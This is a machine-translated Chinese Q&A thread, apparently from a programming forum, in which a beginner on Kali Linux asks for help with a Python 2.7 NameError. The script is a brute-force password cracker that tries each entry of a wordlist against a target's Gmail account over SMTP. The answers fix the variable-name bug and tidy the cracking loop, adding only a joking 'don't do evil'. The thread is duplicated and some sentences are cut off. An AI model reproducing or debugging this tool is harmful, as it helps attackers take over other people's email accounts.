PYTHON 2.7.9: NameError: name '___' is not defined
PYTHON 2.7.9: NameError: name '___' is not defined
我是编程新手,但我正在尝试创建以下脚本。你能告诉我我做错了什么吗?
import smtplib
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
user = raw_input("Enter the target's email address: ")
Passwfile = raw_input("Enter the password file name: ")
Passwfile = open(passwfile, "r")
for password in passwfile:
try:
smtpserver.login(user, password)
print "[+] Password Found: %s" % password
break;
except smtplib.SMTPAuthenticationError:
print "[!] Password Incorrect: %s" % password
当我添加 wordlist.lst 文件时,我的终端中出现一条错误消息,内容如下:
File "gmail.py", line 9, in <module>
Passwfile = open(passwfile, "r"
NameError: name 'passwfile' is not defined
有哪位专家可以给我一些建议吗?
我在 Kali Linux 上使用 Python 2.7.9(Python 2 是预装的,所以我只是决定学习它而不是尝试 Python 3。)
没有定义名为 passwfile
的变量。但是,有一个名为 Passwfile
(注意大小写)的名称,这是您应该使用的名称,因为标识符在 Python.
中区分大小写
请注意,在 Python 中,约定是变量名全部使用小写。大写标识符通常用于 class 名称。所以你的代码可以是:
user = raw_input("Enter the target's email address: ")
password_filename = raw_input("Enter the password file name: ")
password_file = open(password_filename, "r")
for password in password_file:
例如。
有关标识符和其他样式问题的更多信息,请参阅 PEP 8。这里它建议变量是下划线分隔的小写单词,所以更喜欢 password_file
而不是 passwfile
例如。
另一个有用的技巧是使用 with
语句在上下文管理器中打开文件:
user = raw_input("Enter the target's email address: ")
password_filename = raw_input("Enter the password file name: ")
with open(password_filename) as password_file:
for password in password_file:
# nasty stuff here
上下文管理器将确保文件始终正确关闭,例如,如果存在未处理的异常。
最后,好好利用它,不要作恶 :)
检查行
Passwfile = raw_input("Enter the password file name: ")
此处您将 raw_input
存储在变量 Passwfile 中(P 大写)
我是编程新手,但我正在尝试创建以下脚本。你能告诉我我做错了什么吗?
import smtplib
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
user = raw_input("Enter the target's email address: ")
Passwfile = raw_input("Enter the password file name: ")
Passwfile = open(passwfile, "r")
for password in passwfile:
try:
smtpserver.login(user, password)
print "[+] Password Found: %s" % password
break;
except smtplib.SMTPAuthenticationError:
print "[!] Password Incorrect: %s" % password
当我添加 wordlist.lst 文件时,我的终端中出现一条错误消息,内容如下:
File "gmail.py", line 9, in <module>
Passwfile = open(passwfile, "r"
NameError: name 'passwfile' is not defined
有哪位专家可以给我一些建议吗? 我在 Kali Linux 上使用 Python 2.7.9(Python 2 是预装的,所以我只是决定学习它而不是尝试 Python 3。)
没有定义名为 passwfile
的变量。但是,有一个名为 Passwfile
(注意大小写)的名称,这是您应该使用的名称,因为标识符在 Python.
请注意,在 Python 中,约定是变量名全部使用小写。大写标识符通常用于 class 名称。所以你的代码可以是:
user = raw_input("Enter the target's email address: ")
password_filename = raw_input("Enter the password file name: ")
password_file = open(password_filename, "r")
for password in password_file:
例如。
有关标识符和其他样式问题的更多信息,请参阅 PEP 8。这里它建议变量是下划线分隔的小写单词,所以更喜欢 password_file
而不是 passwfile
例如。
另一个有用的技巧是使用 with
语句在上下文管理器中打开文件:
user = raw_input("Enter the target's email address: ")
password_filename = raw_input("Enter the password file name: ")
with open(password_filename) as password_file:
for password in password_file:
# nasty stuff here
上下文管理器将确保文件始终正确关闭,例如,如果存在未处理的异常。
最后,好好利用它,不要作恶 :)
检查行
Passwfile = raw_input("Enter the password file name: ")
此处您将 raw_input
存储在变量 Passwfile 中(P 大写)